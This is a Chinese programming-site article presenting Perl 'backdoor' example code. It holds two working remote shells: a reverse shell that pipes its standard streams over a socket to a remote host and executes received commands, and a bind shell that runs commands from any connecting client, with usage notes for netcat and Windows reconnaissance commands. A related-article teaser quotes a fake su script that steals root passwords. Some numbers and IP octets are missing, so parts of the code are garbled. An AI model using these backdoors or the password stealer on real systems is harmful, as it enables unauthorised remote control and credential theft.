位置: 编程技术 - 正文

perl后门,正向和反向!实例代码

编辑:rootadmin
反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}

推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。

perl后门,正向和反向!实例代码

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强

用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

标签: perl后门,正向和反向!实例代码

本文链接地址:https://www.jiuchutong.com/biancheng/372433.html 转载请保留说明!

上一篇:Shell编程的一些知识集合(shell编程技巧)

下一篇:Perl模块编写说明(perl编程)

  • 小微企业年度所得税优惠政策
  • 收到附加税退税的分录
  • 运动会奖品有什么
  • 代收代付保险费的差额可以放入营业外收入么
  • 水利基金申报表减除项填什么
  • 三项经费包括在哪些内容
  • 进项税额转出税率
  • 认证不抵扣的账务处理
  • 理财的利息收入计入什么科目
  • 去年已认证发票红冲怎么报税
  • 城市维护建设税是什么意思
  • 工作过失扣工资合法吗
  • 运输公司的固定资产怎么提折旧
  • 递延收益可以是负数吗
  • 地税局返的个人所得税手续费多久返还?
  • 租赁合同印花税双方都要交吗
  • 返利是冲减收入还是计入费用
  • win11压缩文件
  • 餐饮业成本核算明细表
  • 在电脑上呢
  • 行纪人的权利
  • win11透明任务栏怎么设置
  • php curl模块
  • 台湾中原大学相当于大陆几本
  • 总部资产的减值有什么特点
  • 计算完工产品成本
  • symfony框架经验总结
  • php支持断点续传吗
  • 增值税发票查询结果不一致是什么意思
  • 应付账款零头怎么处理
  • 增值税纳税申报表在哪里查询
  • 基于springboot的购物商城
  • php设置目录权限
  • 政府补贴什么时候开始的
  • kafka gui
  • mysql更新视图的方式
  • 资信证明好开吗
  • 在建工程转固定资产会计科目
  • 企业进出口贸易
  • 购买监控器计入什么科目
  • 申报个税工资报少了怎么更改
  • 无形资产摊销会计凭证
  • 商业折扣应该怎么计算
  • 对公账户是怎样的
  • 农业种植补贴需要审批吗
  • 食堂购电饭锅账务处理
  • 出租写字楼写字楼
  • 2021年异地转账还收费吗
  • 从会计角度看会计刺客
  • 应收账款和坏账准备的解题思路
  • mysql8.0存储过程
  • sql集合包含关系
  • sqlserver 触发器 redis
  • win8系统怎么关闭自动更新系统
  • win8装机软件
  • xp系统如何安装软件
  • centos6.10配置网络
  • bios密码忘记了要怎么重置
  • win7进bios设置启动盘
  • win8怎么添加打印机到电脑上
  • jquery技巧
  • listview的view属性
  • socket pf_inet
  • android系统分区理解及分区目录细解
  • windows批处理命令脚本
  • jquery动态添加样式
  • nodejs基础知识
  • ip安全策略设置报错
  • 请问木瓜
  • javascript内置对象window
  • wpf窗口嵌套
  • python多线程操作
  • 广东省国税局长是谁
  • 税务部门的扣款协议
  • 供给决定需求,需求影响供给
  • 盼之代售怎么下载
  • 广东省税务局登录
  • 传统服务贸易和新兴服务贸易如何区分
  • 宾馆增值税专用发票可以抵扣
  • 普惠性和非普惠的区别
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设